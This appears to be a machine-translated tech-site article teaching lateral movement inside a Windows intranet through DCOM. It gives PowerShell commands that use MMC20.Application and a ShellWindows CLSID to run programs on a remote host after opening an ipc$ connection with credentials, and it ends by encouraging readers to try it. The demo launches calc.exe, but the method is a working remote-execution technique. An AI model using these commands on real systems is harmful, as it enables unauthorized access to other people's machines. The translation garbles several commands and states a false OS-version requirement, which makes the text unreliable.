Shulou(Shulou.com)06/03 Report--

This article mainly explains "how to use dcom to move horizontally in the intranet". Interested friends may wish to have a look. The method introduced in this paper is simple, fast and practical. Let's let the editor take you to learn how to use dcom to move horizontally in the intranet.

Dcom is a series of concepts and program interfaces of Microsoft. Through dcom, client program objects can initiate requests to server program objects on another computer in the network. Today, we will talk about how to move horizontally through dcom.

First call powershell

View and get a list of local DCOM programs by using the instruction Get-CimInstance Win32_DCOMApplication

Since the cmdlet of Get-CimInstance only exists in version 3.0 of powershell, you need an operating system version above 2020 to execute this directive. Of course, if you do not have version 3.0, you can also obtain it by executing Get-WmiObject-Namespace ROOT\ CIMV2-Class Win32_DCOMApplication, and the two effects are the same.

1. Use DCOM to execute arbitrary commands for local use

1 > $com= [activator]:: CreateInstance ([type]:: GetTypeFromProgID ("MMC20.Application", "192.168.101.102"))

2 > $com.Document.ActiveView.ExecuteShellCommand ('cmd.exe',$null, "/ c calc.exe", "minimized")

By executing the above command, the calc.exe of the Administrator permission is executed in the current session

two。 Execute commands on a remote host

First establish an ipc$ connection through net use\\ IP "password" / user: domain\ dm

Then execute the following command:

$com= [activator]:: CreateInstance ([type]:: GetTypeFromProgID ("MMC20.Application", "target IP"))

$com.Document.ActiveView.ExecuteShellCommand ('cmd.exe',$null, "/ c calc.exe", ")

Calc.exe can be executed on a remote computer

3. The second method

Invoke powershell from the remote host and enter the command:

$com= [Type]:: GetTypeFromCLSID ('9BA05972-F6A8-11CF-A442-00A0C90A8F39, "192.168.101.102")

$obj = [System.Activator]:: CreateInstance ($com)

$item = $obj.item ()

$item.Document.Application.ShellExecute ("cmd.exe", "/ c calc.exe", "c:\ windows\ system32", $null,0)

Execute the calc.exe program

At this point, I believe you have a deeper understanding of "how to use dcom to move horizontally in the intranet". You might as well do it in practice. Here is the website, more related content can enter the relevant channels to inquire, follow us, continue to learn!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.